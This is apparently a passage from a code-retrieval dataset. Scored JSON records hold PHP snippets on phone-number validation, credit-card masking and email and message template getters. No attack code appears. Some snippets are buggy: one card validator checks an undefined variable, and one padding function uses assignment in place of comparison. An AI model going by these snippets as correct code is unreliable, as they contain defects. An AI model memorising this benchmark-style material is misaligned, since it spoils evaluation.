/ added.\n return $fullOutput;\n }\n }\n }\n return '';\n }", "title": "" }, { "docid": "1e7027e5de13cf6f740d1a6aa280cb7f", "score": "0.5727458", "text": "function ccMasking($number, $maskingCharacter = 'X') \n{\n\treturn substr($number, 0, 2) . str_repeat($maskingCharacter, strlen($number) - 4) . substr($number, -2);\n}", "title": "" }, { "docid": "a03f94e3bd205f14fd56c9daa2c7e037", "score": "0.57251745", "text": "function FormatCreditCard($cc)\n\t{\n\t\t// Clean out extra data that might be in the cc\n\t\t$cc = str_replace(array('-',' '),'',$cc);\n\t\t// Get the CC Length\n\t\t$cc_length = strlen($cc);\n\t\t// Initialize the new credit card to contian the last four digits\n\t\t$newCreditCard = substr($cc,-4);\n\t\t// Walk backwards through the credit card number and add a dash after every fourth digit\n\t\tfor($i=$cc_length-5;$i>=0;$i--){\n\t\t\t// If on the fourth character add a dash\n\t\t\tif((($i+1)-$cc_length)%4 == 0){\n\t\t\t\t$newCreditCard = '-'.$newCreditCard;\n\t\t\t}\n\t\t\t// Add the current character to the new credit card\n\t\t\t$newCreditCard = $cc[$i].$newCreditCard;\n\t\t}\n\t\t// Return the formatted credit card number\n\t\treturn $newCreditCard;\n\t}", "title": "" }, { "docid": "9d11c3136151830e5eb144f0670569a5", "score": "0.57062626", "text": "public function injectInPhoneNumber( $data, $additionalData = [ 'char' => ' ' ] )\n {\n if( ( strlen( $data ) == 10 ) and ( $data[0] == '0' ) )\n {\n $tmpSplit = str_split( $data, 2 ) ;\n $res = implode( $additionalData[ 'char' ], $tmpSplit ) ;\n return $res ;\n }\n return $data ;\n }", "title": "" }, { "docid": "00a30f6ee226ba8dd8de74df6fd0d1ae", "score": "0.57056475", "text": "public function getPhoneNumber();", "title": "" }, { "docid": "00a30f6ee226ba8dd8de74df6fd0d1ae", "score": "0.57056475", "text": "public function getPhoneNumber();", "title": "" }, { "docid": "fc187e5fd84796bf2335187200076bab", "score": "0.56680655", "text": "function validate_phone_number($phone)\r\n {\r\n $filtered_phone_number = filter_var($phone, FILTER_SANITIZE_NUMBER_INT);\r\n // Remove \"-\" from number\r\n $phone_to_check = str_replace(\"-\", \"\", $filtered_phone_number);\r\n // Check the lenght of number\r\n // This can be customized if you want phone number from a specific country\r\n if (strlen($phone_to_check) < 10 || strlen($phone_to_check) > 14) {\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n }", "title": "" }, { "docid": "4f80ba3fa3b6ec80a4d0d31e8c3ab93d", "score": "0.5664373", "text": "function verifyPhoneNumber($phoneNumber){\n $maxLength = 10;\n $minLength = 10;\n $phoneNumberLength = countPhoneNumberDigits($phoneNumber);\n \n if(!(isset($phoneNumber))){\n return \"\";\n }if($phoneNumber == \"\"){\n return \"\";\n }else if($phoneNumberLength < $minLength){\n return \"Phone number is too small\";\n }else if($phoneNumberLength > $maxLength){\n return \"Phone number is too large\";\n }else{\n return \"\";\n }\n}", "title": "" }, { "docid": "abfbd177501687453d3742b3e2f7b526", "score": "0.5649207", "text": "public function getPhoneNumber(): string;", "title": "" }, { "docid": "4135bb8f5a79f4e3c6107a52bbb33e6c", "score": "0.563801", "text": "function isPhone($number) {\n\n\n\nreturn(preg_match(\"/^([\\(]{1}[0-9]{3}[\\)]{1}[ ]{1}[0-9]{3}[\\-]{1}[0-9]{4})$/\",$number));\n\n\t\t\n\n}", "title": "" }, { "docid": "0d86910b9e8500ca63e2575894f825c5", "score": "0.56328344", "text": "function numberFormat($numero)\n{\n return str_replace(['.',','],'', $numero);\n}", "title": "" }, { "docid": "f676203c603dc1d0398a53298561e203", "score": "0.56189954", "text": "function countPhoneNumberDigits($phoneNumber){\n return(strlen((string)$phoneNumber));\n}", "title": "" }, { "docid": "64cd8246ab99121e546427130baa09bc", "score": "0.5616681", "text": "function validate_cardno($cardno)\n{\n $filtered_card_number = filter_var($cardno, FILTER_SANITIZE_NUMBER_INT);\n // Remove \"-\" from number\n $phone_to_check = str_replace(\"-\", \"\", $filtered_card_number);\n // Check the lenght of number\n // This can be customized if you want phone number from a specific country\n if (strlen($card_to_check) < 12 || strlen($card_to_check) > 14) {\n return false;\n } else {\n return true;\n }\n}", "title": "" }, { "docid": "3de84f5a75174c0b91a8941735b20cfb", "score": "0.5614689", "text": "private function validate_phone($field) {\n if ($field === \"\") {\n return \"No phone number entered. <br>\";\n } else if (!preg_match(\"/^[0-9]{3}-[0-9]{3}-[0-9]{4}$/\", $field)) {\n return \"Invalid phone/format entered. <br>\";\n }\n return \"\";\n }", "title": "" }, { "docid": "fe571820f549471b737417d8b0b824c7", "score": "0.5599371", "text": "public function phone($params)\n\t{\n\t\t$req = ($params[3]) ? ' cmc_req' : '';\n\t\t$title = $this->noEntities(JText::_($params[2]));\n\t\t$inter = '';\n\n\t\tif ($this->phoneFormat == 'inter')\n\t\t{\n\t\t\t$inter = 'inter';\n\t\t}\n\n\t\t$phone = '\n\t\t<field name=\"' . $params[0] . '\"\n\t\ttype=\"phone\"\n\t\tid=\"cmc-phone-' . $params[0] . '\"\n\t\tclass=\"phone input-medium validate-digits ' . $inter . $req . '\"\n\t\tlabelclass=\"form-label cmc-label\"'\n\t\t\t. ($params[3] ? ' required=\"required\" ' : ' ') .\n\t\t\t'size=\"40\" ' .\n\t\t\t'hint=\"' . $title . ' ' . ($req ? '*' : '') . '\" ' .\n\t\t\t'label=\"' . $title . '\"\n\t\t/>';\n\n\t\treturn $phone;\n\t}", "title": "" }, { "docid": "095b5fe84bc8cb0b64a1a2e780bd669a", "score": "0.5595355", "text": "public function anonymousPhone(): string\n {\n return '9999999999';\n }", "title": "" }, { "docid": "167283c45696d239ed2882e946d28386", "score": "0.5591943", "text": "function validPhoneNumber($nohp)\n {\n $nohp = str_replace(\" \",\"\",$nohp);\n // kadang ada penulisan no hp (0274) 778787\n $nohp = str_replace(\"(\",\"\",$nohp);\n // kadang ada penulisan no hp (0274) 778787\n $nohp = str_replace(\")\",\"\",$nohp);\n // kadang ada penulisan no hp 0811.239.345\n $nohp = str_replace(\".\",\"\",$nohp);\n\n // cek apakah no hp mengandung karakter + dan 0-9\n if(!preg_match('/[^+0-9]/',trim($nohp))){\n // cek apakah no hp karakter 1-3 adalah +62\n if(substr(trim($nohp), 0, 3)=='+62'){\n $hp = trim($nohp);\n }\n // cek apakah no hp karakter 1 adalah 0\n elseif(substr(trim($nohp), 0, 1)=='0'){\n $hp = '+62'.substr(trim($nohp), 1);\n }\n }\n \n return $hp;\n }", "title": "" }, { "docid": "94c66b836252c799b92af5882c222a46", "score": "0.5578254", "text": "public function getPhoneNumber($phoneNumber)\n {\n return ltrim($phoneNumber, '+,0');\n }", "title": "" }, { "docid": "5bfd68d37854b4504b8db810072a276e", "score": "0.5575515", "text": "private function validate_mobile_number($mobile_number)\r\n\t{\r\n\t\t$mobile_number = trim($mobile_number);\r\n\t\t$mobile_number = ltrim($mobile_number, '0');\r\n\t\tif(strlen($mobile_number) < 10){\r\n\t\t\t$mobile_number_length = strlen($mobile_number);\r\n\t\t\t$required_extra_number_lengths = (10)-$mobile_number_length;\r\n\t\t\t$extra_numbers = str_repeat('0', $required_extra_number_lengths);\r\n\t\t\t$mobile_number = $mobile_number.''.$extra_numbers;\r\n\t\t}\r\n\t\treturn $mobile_number;\r\n\t\r\n\t}", "title": "" }, { "docid": "0aa027575db447bc9cae431086a3d048", "score": "0.5571626", "text": "function getPhonePrefix();", "title": "" }, { "docid": "4329f8a22f4ec46d9a8788e55fc2d498", "score": "0.5563519", "text": "function phone($number, $country = [], $format = null)\n {\n $phone = PhoneNumber::make($number, $country);\n\n if (! is_null($format)) {\n return $phone->format($format);\n }\n\n return $phone;\n }", "title": "" }, { "docid": "26774feb932aa8f0d0f9372e5ad5fb2a", "score": "0.55570924", "text": "function validate_phone_number($phone)\n\t{\n\t\t$filtered_phone_number = filter_var($phone, FILTER_SANITIZE_NUMBER_INT);\n\t\t// Remove \"-\" from number\n\t\t$phone_to_check = str_replace(\"-\", \"\", str_replace(\".\",\"\",$filtered_phone_number));\n\t\t// Check the lenght of number\n\t\t// This can be customized if you want phone number from a specific country\n\t\tif (strlen($phone_to_check) < 10 || strlen($phone_to_check) > 14) {\n\t\t\treturn false;\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}", "title": "" }, { "docid": "bbb44a9041388a56dd56af5b6cbbb41d", "score": "0.55297947", "text": "public function telephone()\n {\n $prefix = $this->getRandomKey('tellphone');\n return string('0' . $prefix . randomNumber(7));\n }", "title": "" }, { "docid": "3cae6973aba3f0fb7d31ee82abfaaec9", "score": "0.5513455", "text": "public function nopengFormated($nomax) {\n\t\t\n\t $pjg = strlen($nomax);\n\t\tif ($pjg = 1 ){\n\t\t $hasil = '00000'.$nomax;\n\t\t}\n\t\telse if($pjg = 2 ){\n\t\t $hasil = '0000'.$nomax;\n\t\t}\n\t\telse if($pjg = 3 ){\n\t\t $hasil = '000'.$nomax;\n\t\t}\n\t\telse if($pjg = 4 ){\n\t\t $hasil = '00'.$nomax;\n\t\t}\n\t\telse if($pjg = 5 ){\n\t\t $hasil = '0'.$nomax;\n\t\t}\n\t\telse \n\t\t $hasil = $nomax; \n\t\t \n\t\treturn $hasil;\n\t}", "title": "" }, { "docid": "5bb0d6b5a889d67e1ec839ce928d8b20", "score": "0.5510365", "text": "function cleanPhone($field) {\r\n $field = preg_replace(\"/[^a-zA-Z0-9]/\", \"\", trim($field));\r\n return $field;\r\n }", "title": "" } ]
9f8e08de051205b141f9dfad8335241c
Getter for the message template.
[ { "docid": "fabe11de7e84017c8d0b5c56b3dd7518", "score": "0.76219773", "text": "public function getTemplate(): string\n {\n return $this->template;\n }", "title": "" } ]
[ { "docid": "7adf711175621846df77422691d8105f", "score": "0.8768218", "text": "public function getMessageTemplate()\n {\n return $this->messageTemplate;\n }", "title": "" }, { "docid": "10ce37f8be797c5a46871f40e35d8d1c", "score": "0.85186213", "text": "function getMsgTemplate() {\r\n return $this->msgTemplate;\r\n }", "title": "" }, { "docid": "b30471a40df4680b61018374329c9543", "score": "0.74021816", "text": "public function getTemplate() : string\n {\n $rtn = $this->data['template'];\n\n return $rtn;\n }", "title": "" }, { "docid": "a42a105b7fed757eb2e55751c9e5b9bb", "score": "0.7346929", "text": "public function get_template()\n {\n\n if (!$this->template) {\n $this->template = wpforms_setting('email-template', 'none');\n }\n\n return apply_filters('wpforms_email_template', $this->template);\n }", "title": "" }, { "docid": "87d6f5f7652381457f90e601e21ca314", "score": "0.7324661", "text": "public function getTemplate()\n {\n return $this->template;\n }", "title": "" }, { "docid": "87d6f5f7652381457f90e601e21ca314", "score": "0.7324661", "text": "public function getTemplate()\n {\n return $this->template;\n }", "title": "" }, { "docid": "87d6f5f7652381457f90e601e21ca314", "score": "0.7324661", "text": "public function getTemplate()\n {\n return $this->template;\n }", "title": "" }, { "docid": "87d6f5f7652381457f90e601e21ca314", "score": "0.7324661", "text": "public function getTemplate()\n {\n return $this->template;\n }", "title": "" }, { "docid": "87d6f5f7652381457f90e601e21ca314", "score": "0.7324661", "text": "public function getTemplate()\n {\n return $this->template;\n }", "title": "" }, { "docid": "87d6f5f7652381457f90e601e21ca314", "score": "0.7324661", "text": "public function getTemplate()\n {\n return $this->template;\n }", "title": "" }, { "docid": "bd0e460fe5b57feff7727d12012d9e16", "score": "0.7316254", "text": "public function getTemplate()\n {\n return $this->m_template;\n }", "title": "" }, { "docid": "1833e5ecff0d05ed26993fd7799d0232", "score": "0.72928077", "text": "protected function getTemplate()\n {\n return $this->template;\n }", "title": "" }, { "docid": "10a9c9367380f8c983ac3d8d62eeaa9d", "score": "0.7274119", "text": "public function getTemplate(){\n return $this->_template;\n }", "title": "" }, { "docid": "7aa47e4ab608c80699a27fe9613d2ac9", "score": "0.72632694", "text": "public function getTemplate()\n {\n return $this->template ;\n }", "title": "" }, { "docid": "c42bd9632a14d2b0c652ea464f316b78", "score": "0.725765", "text": "public function getTemplate()\r\n {\r\n \treturn $this->template;\r\n }", "title": "" }, { "docid": "b0d053002fb9f4d68146d9bf356a55fd", "score": "0.72401035", "text": "public function getTemplate() {\n\t\treturn $this -> template;\n\t}", "title": "" }, { "docid": "fa326ac7c4333ee58707a213e67218ff", "score": "0.72264695", "text": "public function getPostMessageTemplate()\r\n {\r\n return $this->abstractOptions['messageTemplates']\n [self::POST_MESSAGE_TEMPLATE_KEY];\r\n }", "title": "" }, { "docid": "e503edb3ece9918e12ed47d0c02943a2", "score": "0.7196404", "text": "public function getTemplate(): string\n {\n return $this->templateFile;\n }", "title": "" }, { "docid": "86754ef2b1edb45fe76342621fdfc114", "score": "0.71793205", "text": "public function getTemplate() {\n\t\treturn $this->template;\n\t}", "title": "" }, { "docid": "86754ef2b1edb45fe76342621fdfc114", "score": "0.71793205", "text": "public function getTemplate() {\n\t\treturn $this->template;\n\t}", "title": "" }, { "docid": "86754ef2b1edb45fe76342621fdfc114", "score": "0.71793205", "text": "public function getTemplate() {\n\t\treturn $this->template;\n\t}", "title": "" }, { "docid": "86754ef2b1edb45fe76342621fdfc114", "score": "0.71793205", "text": "public function getTemplate() {\n\t\treturn $this->template;\n\t}", "title": "" }, { "docid": "02841077b996a08f76bb0c2ca26b98a0", "score": "0.713898", "text": "public function getTemplate(): string\n {\n return $this->templateFilename;\n }", "title": "" }, { "docid": "24cadfa77da993fb8c380793ae54d305", "score": "0.7126142", "text": "public function getTemplate(){\n return $this->template;\n }", "title": "" }, { "docid": "e0dd92cc7cab3f809b3d42705150500d", "score": "0.71083933", "text": "public function getPreMessageTemplate()\r\n {\r\n return $this->abstractOptions['messageTemplates']\n [self::PRE_MESSAGE_TEMPLATE_KEY];\n }", "title": "" }, { "docid": "35aac2f20caf4beed8833b0b857c6523", "score": "0.7100035", "text": "private function getTemplate()\n {\n if ('' === $this->template) {\n $this->template = Template::get();\n }\n return $this->template;\n }", "title": "" }, { "docid": "7b9b7c781db35a83c8b7416f3ec8f612", "score": "0.7074924", "text": "public function getTemplate()\n\t{\n\t\treturn $this->template;\n\t}", "title": "" }, { "docid": "3d40cf125a257e79faebee517f74aaf5", "score": "0.70732766", "text": "public function getTemplate ()\n\t{\n\t\treturn $this->_template;\n\t}", "title": "" }, { "docid": "b70ed7fd12501ab808dda0b76e4015e7", "score": "0.70326936", "text": "public function getTemplateText()\n {\n return $this->template_text;\n }", "title": "" }, { "docid": "cef6687563a13cbd849c53bedf23aea6", "score": "0.7007876", "text": "function getMessageTemplate($inTemplateKey) {\r\n\t\tif ( isset($this->_MessageTemplates[$inTemplateKey]) ) {\r\n\t\t\treturn $this->_MessageTemplates[$inTemplateKey];\r\n\t\t} else {\r\n\t\t\treturn null;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "499977f42876d6ed9b3706a6a35fff04", "score": "0.6972269", "text": "public function getMessagingTemplateNewMessage()\n {\n return $this->getValue('nb_messaging_template_new_message');\n }", "title": "" }, { "docid": "499977f42876d6ed9b3706a6a35fff04", "score": "0.6972269", "text": "public function getMessagingTemplateNewMessage()\n {\n return $this->getValue('nb_messaging_template_new_message');\n }", "title": "" }, { "docid": "423a88c239d8f79e816b0711420e6da3", "score": "0.6954536", "text": "public function getTemplate() {\r\n return '';\r\n }", "title": "" }, { "docid": "1737f45702853f62e3b7b24e2675c978", "score": "0.69483083", "text": "public static function getTemplate(){\r\n\t\t\t\treturn self :: $routeVars->template;\r\n\t\t\t}", "title": "" }, { "docid": "659b7c732d639e21005719ca30ab7858", "score": "0.6923957", "text": "public static function getTemplate()\n\t{\n\t\treturn USVN_Template::$template;\n\t}", "title": "" }, { "docid": "a717a898bfd08f8091a89aa83b1b6772", "score": "0.691377", "text": "public function getTpl() {\n return $this->tpl;\n }", "title": "" }, { "docid": "9ea9552f8cf2f89196b9b509affd1816", "score": "0.6911829", "text": "public function get_template()\n {\n return (isset($this->dbRow['template']))? (String)$this->dbRow['template']: null;\n }", "title": "" }, { "docid": "e77e448ffe6238cf11a85b926a065d6d", "score": "0.68714434", "text": "public function getBodyTemplate(): string\n {\n return $this->bodyTemplate;\n }", "title": "" }, { "docid": "e068c9028a4cffc6c591ee8c46f6b04f", "score": "0.6869726", "text": "public function getEmailTemplate() {\n return \\sfConfig::get(\"app_email_template_data\");\n }", "title": "" }, { "docid": "805838102f17d5b7474569f498996f76", "score": "0.6841074", "text": "public function getTemplate(): string;", "title": "" }, { "docid": "805838102f17d5b7474569f498996f76", "score": "0.6841074", "text": "public function getTemplate(): string;", "title": "" }, { "docid": "805838102f17d5b7474569f498996f76", "score": "0.6841074", "text": "public function getTemplate(): string;", "title": "" }, { "docid": "66ff51cb99f0e1dcb5021a4b9a467f1b", "score": "0.68105906", "text": "public function getTemplate()\n {\n return $this->oTemplate;\n }", "title": "" }, { "docid": "f4ce55c3994638e0e14219139b22a2ad", "score": "0.6786527", "text": "public function getTemplate()\n {\n return $this->getFile();\n }", "title": "" }, { "docid": "93c786915d3a75ab9050792b266dba5c", "score": "0.6757346", "text": "function getTemplate() {\n\t\tglobal $_JC_CONFIG;\n\t\treturn $_JC_CONFIG->get('template');\n\t}", "title": "" }, { "docid": "853859b0784327aeeb0a9ecfcf1e30ca", "score": "0.674975", "text": "public function getSource()\n {\n return 'dw_message_template';\n }", "title": "" }, { "docid": "b37e50b36167363917dc528c5ed2393e", "score": "0.6731198", "text": "public function get_template() {\n\t\tbutterbean_get_manager_template( $this->type );\n\t}", "title": "" }, { "docid": "e5adeff31203aed54decae2762f9f0ab", "score": "0.66770375", "text": "public function getTemplate();", "title": "" }, { "docid": "e5adeff31203aed54decae2762f9f0ab", "score": "0.66770375", "text": "public function getTemplate();", "title": "" }, { "docid": "e5adeff31203aed54decae2762f9f0ab", "score": "0.66770375", "text": "public function getTemplate();", "title": "" }, { "docid": "e5adeff31203aed54decae2762f9f0ab", "score": "0.66770375", "text": "public function getTemplate();", "title": "" }, { "docid": "e5adeff31203aed54decae2762f9f0ab", "score": "0.66770375", "text": "public function getTemplate();", "title": "" }, { "docid": "e5adeff31203aed54decae2762f9f0ab", "score": "0.66770375", "text": "public function getTemplate();", "title": "" }, { "docid": "e5adeff31203aed54decae2762f9f0ab", "score": "0.66770375", "text": "public function getTemplate();", "title": "" }, { "docid": "e0b4cb93db4f81a15c0241a669133cd1", "score": "0.6675687", "text": "public function getTemplateFile()\n {\n return $this->template;\n }", "title": "" }, { "docid": "62622fd2b57f2d24a6f21f5943d2e2a3", "score": "0.6615819", "text": "function getTemplate()\n\t{\n\t\treturn $this->prefsTemplate;\n\t}", "title": "" }, { "docid": "4ce850aa0350c55a9094ad43f5f4aa45", "score": "0.6600259", "text": "public function getTemplate()\n {\n return $this->currentCtrl->getTemplateFile();\n }", "title": "" }, { "docid": "47be10af4d9d5f7fb8bfe46a915a507e", "score": "0.6586489", "text": "public function getTemplate()\n {\n if(empty($this->_template)) {\n if(in_array($this->getType(), ['module','theme'])) {\n $this->_template = \"tab/translation/file.phtml\";\n } else {\n $this->_template = \"tab/translation/plain.phtml\";\n }\n }\n\n return $this->_template;\n }", "title": "" }, { "docid": "79710f9f06a9d4fe8e5648247204322f", "score": "0.653572", "text": "public function getSubject()\n {\n return $this->getTemplate();\n }", "title": "" }, { "docid": "25264af957ebc52b9347b083d2e77a49", "score": "0.6532929", "text": "public function getTemplateKey()\n {\n return $this->templateKey;\n }", "title": "" }, { "docid": "2380d7dcc552d98e7b6690d7a4e4933f", "score": "0.65051085", "text": "public function getTemplate() : ?string ;", "title": "" }, { "docid": "db41aa78d73f2f77360e588af5f0b634", "score": "0.6497564", "text": "protected function GetTemplate()\n\t{\n\t\tif ($this->params['format'] == GitPHP_Controller_Feed::RssFormat)\n\t\t\treturn 'rss.tpl';\n\t\telse if ($this->params['format'] == GitPHP_Controller_Feed::AtomFormat)\n\t\t\treturn 'atom.tpl';\n\t}", "title": "" }, { "docid": "9968db3292fbce7a45729ca330aa3d37", "score": "0.6486729", "text": "public function get_template() {\r\n\t\treturn $this->get_dir() . '/template.php';\r\n\t}", "title": "" }, { "docid": "a5e68d31927a2cc0533dc1a8bc29b2ad", "score": "0.6486612", "text": "abstract protected function getTemplate();", "title": "" }, { "docid": "f51cce117a1b70d50436366cc062a96d", "score": "0.6484081", "text": "public function get_message() {\n\t\tif ( empty( $this->email_template ) ) {\n\t\t\treturn \"\n\t\t\t\tHello,<br/>\n\t\t\t\tThe following products are {product_state} : <br/>\n\t\t\t\t{product_list} <br/>\n\t\t\t\";\n\t\t}\n\t\treturn $this->email_template;\n\t}", "title": "" }, { "docid": "91ffb10b419e7a2550e766d07cfc55dd", "score": "0.6474776", "text": "public function template()\n {\n if (!$this->template) {\n $this->template = new \\Managesend\\Rest\\Template($this);\n }\n return $this->template;\n }", "title": "" }, { "docid": "cab1cd71e7e1a3566bbb140c94b2f4f7", "score": "0.6454041", "text": "protected function GetTemplate()\n\t{\n\t\treturn 'snapshot.tpl';\n\t}", "title": "" }, { "docid": "52f7ad904ff6b5f885207c209a36435d", "score": "0.64506936", "text": "abstract public function getTemplate();", "title": "" }, { "docid": "26d676937ce8a25a6695b369c5e844a4", "score": "0.64359736", "text": "public function getTemplate()\n {\n return $this->component . self::SUFIX_COMPONENTS . '.html.twig';\n }", "title": "" }, { "docid": "3b3a93519cbc96098ea3eb76c4c65872", "score": "0.6430155", "text": "public function getTemplate() {\n $templatesPath = $this->getTemplatePath();\n\n if($this->option('custom')) {\n $templatesPath = $this->option('path');\n }\n\n return $templatesPath . $this->getTemplateInput() . \"/\";\n }", "title": "" }, { "docid": "ad3584539789e84e141a98aac54fa4bc", "score": "0.6429801", "text": "public function getTriggerTemplate()\n {\n return $this->trigger_template;\n }", "title": "" }, { "docid": "7816225af5c21752935585d183cc6fc0", "score": "0.64265674", "text": "public function getTemplateFile() {\n return $this->templateFile;\n }", "title": "" }, { "docid": "cc48749f2d02b8f428b6d99d59246b2e", "score": "0.64205307", "text": "public function templatefile() {\n return $this->_templatefile;\n }", "title": "" }, { "docid": "0278d63c5296f76e68baf553d817e154", "score": "0.6397952", "text": "public function getTemplateFile()\n {\n return $this->templateFile;\n }", "title": "" }, { "docid": "fd01fdcfd9a8056417380ac4384d983e", "score": "0.63929665", "text": "public function getTemplate()\n\t{\n\t\treturn Core::getApp()->getComponent( 'Dispatcher' )->getTemplate();\n\t}", "title": "" }, { "docid": "4a4dbce94d277118ea22b156d84ece94", "score": "0.63888407", "text": "function readOnTemplate() { return $this->_ontemplate; }", "title": "" }, { "docid": "b803b9e9ea3184bcdfed48e33f985be5", "score": "0.63753533", "text": "public function getTemplateId()\n {\n return $this->getConfigValue(self::XML_PATH_DISABLED_GATEWAYS_NOTIFICATION_TEMPLATE_FIELD, $this->getStore()->getStoreId());\n }", "title": "" }, { "docid": "89260117d522972efcd59b45d4b61a7b", "score": "0.63581324", "text": "public function getTemplateInput()\n {\n return $this->option('template');\n }", "title": "" }, { "docid": "67aa15bb7ccebd75077ad6708ca831f6", "score": "0.63447493", "text": "protected function get_template_name() : string {\n\t\t\treturn $this->template_name;\n\t\t}", "title": "" }, { "docid": "66ea3c77d6e7ece39fece155460f9e28", "score": "0.6334871", "text": "public function getMessage()\n {\n $message = $this->getData('message');\n $helper = Mage::helper('cms');\n $processor = $helper->getBlockTemplateProcessor();\n $html = $processor->filter($message);\n return $html;\n }", "title": "" }, { "docid": "ec233c95c5ed9ab094f13af37b689429", "score": "0.6311562", "text": "public function forTemplate()\n {\n return $this->getTag();\n }", "title": "" }, { "docid": "704190d30d863d898e12a28848112f97", "score": "0.6295512", "text": "protected function getTemplate() {\n\n if (file_exists($this->templateFile) === false) {\n die(\"Error: the file 'rocket-nginx.ini' could not be found to generate the configuration. \" .\n \"You must rename the orginal 'rocket-nginx.ini.disabled' file to 'rocket-nginx.ini' and run this script again.\");\n }\n\n return file_get_contents('rocket-nginx.tmpl');\n }", "title": "" }, { "docid": "545caaa98cb921562c012511bec7c6a9", "score": "0.62776613", "text": "protected function getDocumentTemplate()\n {\n return $GLOBALS['TBE_TEMPLATE'];\n }", "title": "" }, { "docid": "389730a1753fd46d6316eeef4582334b", "score": "0.626095", "text": "public function forTemplate() {\n return $this->getTag();\n }", "title": "" }, { "docid": "5b4c2166864c31c05f74d53fc070a9d0", "score": "0.6257821", "text": "public function getDefaultTemplate() {\n return $this->defaultTemplate;\n }", "title": "" }, { "docid": "e4986e36e1b5fac2c71a74a67da1bfa3", "score": "0.62389135", "text": "public function getTemplate()\n\t{\n\t\tstatic $template;\n\n\t\tif ($this->templateName == '')\n\t\t\treturn false;\n\n\t\tif (!isset($template))\n\t\t{\n\t\t\t// Load the template name from the database\n\t\t\t$db = JFactory::getDbo();\n\t\t\t$query = $db->getQuery(true);\n\t\t\t$query->select('template, s.params');\n\t\t\t$query->from('#__template_styles as s');\n\t\t\t$query->leftJoin('#__extensions as e ON e.type=' . $db->quote('template') . ' AND e.element=s.template AND e.client_id=s.client_id');\n\t\t\t$query->where('e.name = ' . $db->quote($this->templateName), 'AND');\n\t\t\t$query->order('home');\n\t\t\t$db->setQuery($query);\n\n\t\t\t$template = $db->loadObject();\n\n\t\t\t$template->template = JFilterInput::getInstance()->clean($template->template, 'cmd');\n\t\t\t$template->params = new JRegistry($template->params);\n\n\t\t\tif (!file_exists(JPATH_SITE . '/templates/' . $template->template . '/index.php'))\n\t\t\t{\n\t\t\t\t$template->params = new JRegistry;\n\t\t\t\t$template->template = '';\n\t\t\t}\n\t\t}\n\n\t\treturn $template;\n\t}", "title": "" }, { "docid": "0e8371041c2646cd589e5e6e08763627", "score": "0.6229608", "text": "public function getTemplateFileName() {\r\n return $this->templateFileName;\r\n }", "title": "" }, { "docid": "70290be25ab40b19eba693db27872ee2", "score": "0.6227188", "text": "public function getPathTemplate() {\n return $this->pathTemplate;\n }", "title": "" }, { "docid": "5e3ed345b81273d0d799204a92ebd035", "score": "0.6199113", "text": "public function getTemplate()\n {\n try\n {\n // Implement the round-robin logic here \n // to return the template least recently used \n $templates = (new \\Mailer\\Models\\Templates)\n ->setState('filter.event_id', $this->id)\n ->setState('list.sort', array('last_used' => 1))\n ->setState('list.limit', 1);\n \n \n if(\\Base::instance()->get('APP_NAME') != 'admin') {\n \t$templates->setState('filter.publication_status', 'published');\n }\n\n $templates = $templates->getItems();\n \n $template = null;\n if (!empty($templates)) {\n $template = $templates[0];\n }\n \n if (empty($template->id)) {\n $template = $this;\n } else {\n $template->set('last_used', time())->save();\n }\n \n if (empty($template->event_html))\n {\n throw new \\Exception('Content is empty, or no Template for this event');\n }\n \n return $template;\n \n }\n catch (Exception $e)\n {\n // throw the error up the stack\n throw new \\Exception($e->getMessage());\n }\n }", "title": "" }, { "docid": "b34ee24d2451f8a9b67edd4c3a3cb7f2", "score": "0.6184534", "text": "public function getRawTemplate() {\n\t\treturn $this->getTemplateDefinition($this->templateId);\n\t}", "title": "" }, { "docid": "e4cdd6aaf2dbe71972c22985f28c356a", "score": "0.6177912", "text": "public function templateObject()\n {\n return $this->tplObj;\n }", "title": "" }, { "docid": "8b98d89550b791e767bba7adc2bcd995", "score": "0.6163806", "text": "public function getContentTemplate(): ? string\n {\n return $this->getSetting('content_template');\n }", "title": "" }, { "docid": "3bf8c7a10057ccca08c56c84a96b32de", "score": "0.6152217", "text": "public function getTemplatePath()\n {\n return $this->templatePath;\n }", "title": "" }, { "docid": "66994e779466349483b2b4ac5fce9fdc", "score": "0.61454034", "text": "protected function getTemplate() {\n if (empty($this->_template)) {\n $class = get_class($this);\n $tokens = explode('_', $class);\n $string = lcfirst($tokens[count($tokens) - 1]);\n $pattern = '/([A-Z])/';\n $replacement = '-${0}';\n\n $this->_template = strtolower(preg_replace($pattern, $replacement, $string));\n }\n\n return 'widgets/' . $this->_template . '.phtml';\n }", "title": "" }, { "docid": "d39297151b18d59f6dc97dab24b71cd7", "score": "0.6131783", "text": "public static function getTemplate(){\n\t\tif(self::$template == NULL){\n\t\t\tself::$template = new Template();\n\t\t}\n\t\treturn self::$template;\n }", "title": "" }, { "docid": "a879e7423762ee07c70e0b41b9901f96", "score": "0.6123215", "text": "function getName()\n {\n return $this->template;\n }", "title": "" }, { "docid": "be565f46fdad97a71a6a3be1ba90f90a", "score": "0.60916513", "text": "public function renderTemplate()\n {\n $email = $this->getEmail();\n// $email->setParseBody(false);\n $html = $email->getRenderedBody();\n\n return (string) $html;\n }", "title": "" }, { "docid": "dda0f5b56e85b1ec1924b5ef3193e88f", "score": "0.60868114", "text": "public function getTemplateId() {\n return $this->template_id;\n }", "title": "" }, { "docid": "a547db169fc1005c0a2a20d72d487f9b", "score": "0.60828143", "text": "function pmproet_getTemplateBody($template) {\n\n\t global $pmproet_email_defaults;\n\n\t\t// Defaults\n\t\t$body = \"\";\n\t\t$file = false;\n\t \n\t if ( get_transient( 'pmproet_' . $template ) === false ) {\n\t // Load template \n\t if(!empty($pmproet_email_defaults[$template]['body'])) {\n\t $body = $pmproet_email_defaults[$template]['body'];\n\t } elseif ( file_exists( get_stylesheet_directory() . '/paid-memberships-pro/email/' . $template . '.html' ) ) {\n\t $file = get_stylesheet_directory() . '/paid-memberships-pro/email/' . $template . '.html';\n\t } elseif ( file_exists( get_template_directory() . '/paid-memberships-pro/email/' . $template . '.html') ) {\n\t $file = get_template_directory() . '/paid-memberships-pro/email/' . $template . '.html';\n\t } elseif( file_exists( PMPRO_DIR . '/email/' . $template . '.html')) {\n\t $file = PMPRO_DIR . '/email/' . $template . '.html';\n\t } \n\t \n\t if( $file && ! $body ) {\n\t ob_start();\n\t require_once( $file );\n\t $body = ob_get_contents();\n\t ob_end_clean();\n\t }\n\n\t if ( ! empty( $body ) ) {\n\t set_transient( 'pmproet_' . $template, $body, 300 );\n\t }\n\t } else {\n\t $body = get_transient( 'pmproet_' . $template );\n\t }\n\n\n\t 